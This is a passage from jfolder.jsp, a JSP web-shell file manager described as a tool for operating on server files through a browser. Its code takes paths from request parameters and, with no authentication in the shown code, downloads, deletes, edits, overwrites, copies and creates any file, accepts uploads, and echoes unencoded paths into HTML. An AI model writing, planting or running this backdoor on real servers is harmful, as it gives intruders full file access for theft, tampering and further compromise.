jfolder.jsp

java写的通过web来操作文件的一个小程序

		else
		{
			sb.append(p.charAt(i));
		}
	}
	return sb.toString();
}

	/**
	 * Converts some important chars (int) to the corresponding html string
	 */
	static String conv2Html(int i) {
		if (i == '&') return "&";
		else if (i == '<') return "&lt;";
		else if (i == '>') return "&gt;";
		else if (i == '"') return "&quot;";
		else return "" + (char) i;
	}

	/**
	 * Converts a normal string to a html conform string
	 */
	static String htmlEncode(String st) {
		StringBuffer buf = new StringBuffer();
		for (int i = 0; i < st.length(); i++) {
			buf.append(conv2Html(st.charAt(i)));
		}
		return buf.toString();
	}
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
*/
{
	StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
	File roots[]=File.listRoots();
	for(int i=0;i<roots.length;i++)
	{
		sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
		sb.append(roots[i]+"</a>&nbsp;");
	}
	return sb.toString();
}
static String convertFileSize(long filesize)
{
	//bug 5.09M 显示5.9M
	String strUnit="Bytes";
	String strAfterComma="";
	int intDivisor=1;
	if(filesize>=1024*1024)
	{
		strUnit = "MB";
		intDivisor=1024*1024;
	}
	else if(filesize>=1024)
	{
		strUnit = "KB";
		intDivisor=1024;
	}
	if(intDivisor==1) return filesize + " " + strUnit;
	strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
	if(strAfterComma=="") strAfterComma=".0";
	return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
}
%>
<%
request.setCharacterEncoding("gb2312");
String tabID = request.getParameter("tabID");
String strDir = request.getParameter("path");
String strAction = request.getParameter("action");
String strFile = request.getParameter("file");
String strPath = strDir + "\\" + strFile; 
String strCmd = request.getParameter("cmd");
StringBuffer sbEdit=new StringBuffer("");
StringBuffer sbDown=new StringBuffer("");
StringBuffer sbCopy=new StringBuffer("");
StringBuffer sbSaveCopy=new StringBuffer("");
StringBuffer sbNewFile=new StringBuffer("");

if((tabID==null) || tabID.equals(""))
{
	tabID = "1";
}

if(strDir==null||strDir.length()<1)
{
	strDir = request.getRealPath("/");
}


if(strAction!=null && strAction.equals("down"))
{
	File f=new File(strPath);
	if(f.length()==0)
	{
		sbDown.append("文件大小为 0 字节，就不用下了吧");
	}
	else
	{
		response.setHeader("content-type","text/html; charset=ISO-8859-1");
		response.setContentType("APPLICATION/OCTET-STREAM");	
		response.setHeader("Content-Disposition","attachment; filename=\""+f.getName()+"\"");
		FileInputStream fileInputStream =new FileInputStream(f.getAbsolutePath());
		out.clearBuffer();
		int i;
		while ((i=fileInputStream.read()) != -1)
		{
			out.write(i);	
		}
		fileInputStream.close();
		out.close();
	}
}

if(strAction!=null && strAction.equals("del"))
{
	File f=new File(strPath);
	f.delete();
}

if(strAction!=null && strAction.equals("edit"))
{
	File f=new File(strPath);	
	BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(f)));
	sbEdit.append("<form name='frmEdit' action='' method='POST'>\r\n");
	sbEdit.append("<input type=hidden name=action value=save >\r\n");
	sbEdit.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
	sbEdit.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
	sbEdit.append("<input type=submit name=save value=' "+strFileSave[languageNo]+" '> ");
	sbEdit.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> &nbsp;"+strPath+"\r\n");
	sbEdit.append("<br><textarea rows=30 cols=90 name=content>");
	String line="";
	while((line=br.readLine())!=null)
	{
		sbEdit.append(htmlEncode(line)+"\r\n");		
	}
   sbEdit.append("</textarea>");
	sbEdit.append("<input type=hidden name=path value="+strDir+">");
	sbEdit.append("</form>");
}

if(strAction!=null && strAction.equals("save"))
{
	File f=new File(strPath);
	BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(f)));
	String strContent=request.getParameter("content");
	bw.write(strContent);
	bw.close();
}
if(strAction!=null && strAction.equals("copy"))
{
	File f=new File(strPath);
	sbCopy.append("<br><form name='frmCopy' action='' method='POST'>\r\n");
	sbCopy.append("<input type=hidden name=action value=savecopy >\r\n");
	sbCopy.append("<input type=hidden name=path value='"+strDir+"' >\r\n");
	sbCopy.append("<input type=hidden name=file value='"+strFile+"' >\r\n");
	sbCopy.append("原始文件： "+strPath+"<p>");
	sbCopy.append("目标文件： <input type=text name=file2 size=40 value='"+strDir+"'><p>");
	sbCopy.append("<input type=submit name=save value=' "+strFileCopy[languageNo]+" '> ");
	sbCopy.append("<input type=button name=goback value=' "+strBack[languageNo]+" ' onclick='history.back(-1);'> <p>&nbsp;\r\n");
	sbCopy.append("</form>");
}
if(strAction!=null && strAction.equals("savecopy"))
{
	File f=new File(strPath);
	String strDesFile=request.getParameter("file2");
	if(strDesFile==null || strDesFile.equals(""))
	{
		sbSaveCopy.append("<p><font color=red>目标文件错误。</font>");
	}
	else
	{
		File f_des=new File(strDesFile);
		if(f_des.isFile())
		{
			sbSaveCopy.append("<p><font color=red>目标文件已存在,不能复制。</font>");
		}
		else
		{
			String strTmpFile=strDesFile;
			if(f_des.isDirectory())
			{
				if(!strDesFile.endsWith("\\"))
				{
					strDesFile=strDesFile+"\\";
				}
				strTmpFile=strDesFile+"cqq_"+strFile;
			 }
			
			File f_des_copy=new File(strTmpFile);
			FileInputStream in1=new FileInputStream(f);
			FileOutputStream out1=new FileOutputStream(f_des_copy);
			byte[] buffer=new byte[1024];
			int c;
			while((c=in1.read(buffer))!=-1)
			{
				out1.write(buffer,0,c);
			}
			in1.close();
			out1.close();
	
			sbSaveCopy.append("原始文件 ："+strPath+"<p>");
			sbSaveCopy.append("目标文件 ："+strTmpFile+"<p>");
			sbSaveCopy.append("<font color=red>复制成功！</font>");			
		}		
	}	
	sbSaveCopy.append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=返回>");
}
if(strAction!=null && strAction.equals("newFile"))
{
	String strF=request.getParameter("fileName");
	String strType1=request.getParameter("btnNewFile");
	String strType2=request.getParameter("btnNewDir");
	String strType="";
	if(strType1==null)
	{
		strType="Dir";
	}
	else if(strType2==null)
	{
		strType="File";
	}
	if(!strType.equals("") && !(strF==null || strF.equals("")))
	{		
			File f_new=new File(strF);			
			if(strType.equals("File") && !f_new.createNewFile())
				sbNewFile.append(strF+" 文件创建失败");
			if(strType.equals("Dir") && !f_new.mkdirs())
				sbNewFile.append(strF+" 目录创建失败");
	}
	else
	{
		sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
	}
}

if((request.getContentType()!= null) && (request.getContentType().toLowerCase().startsWith("multipart")))
{
	String tempdir=".";
	boolean error=false;
	response.setContentType("text/html");
	sbNewFile.append("<p><font color=red>建立文件或目录出错。</font>");
	HttpMultiPartParser parser = new HttpMultiPartParser();

	int bstart = request.getContentType().lastIndexOf("oundary=");
	String bound = request.getContentType().substring(bstart + 8);
	int clength = request.getContentLength();
	Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength);
	if (ht.get("cqqUploadFile") != null)
	{

		FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
		File f1 = fi.file;
		UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
		if (info != null && info.aborted) 
		{
			f1.delete();
			request.setAttribute("error", "Upload aborted");
		}
		else 
		{
			String path = (String) ht.get("path");
			if(path!=null && !path.endsWith("\\")) 
				path = path + "\\";
			if (!f1.renameTo(new File(path + f1.getName()))) 
			{
				request.setAttribute("error", "Cannot upload file.");
				error = true;
				f1.delete();
			}
		}
	}
}
%>
<html>
<head>
<style type="text/css">
td,select,input,body{font-size:9pt;}
A { TEXT-DECORATION: none }

#tablist{
padding: 5px 0;
margin-left: 0;
margin-bottom: 0;
margin-top: 0.1em;
font:9pt;
}

#tablist li{
list-style: none;
display: inline;
margin: 0;
}

#tablist li a{
padding: 3px 0.5em;
margin-left: 3px;
border: 1px solid ;
background: F6F6F6;
}

#tablist li a:link, #tablist li a:visited{
color: navy;
}

#tablist li a.current{
background: #EAEAFF;
}

#tabcontentcontainer{
width: 100%;
padding: 5px;
border: 1px solid black;
}

.tabcontent{
display:none;
}

</style>

<script type="text/javascript">

var initialtab=[<%=tabID%>, "menu<%=tabID%>"]

////////Stop editting////////////////

function cascadedstyle(el, cssproperty, csspropertyNS){
if (el.currentStyle)
return el.currentStyle[cssproperty]
else if (window.getComputedStyle){
var elstyle=window.getComputedStyle(el, "")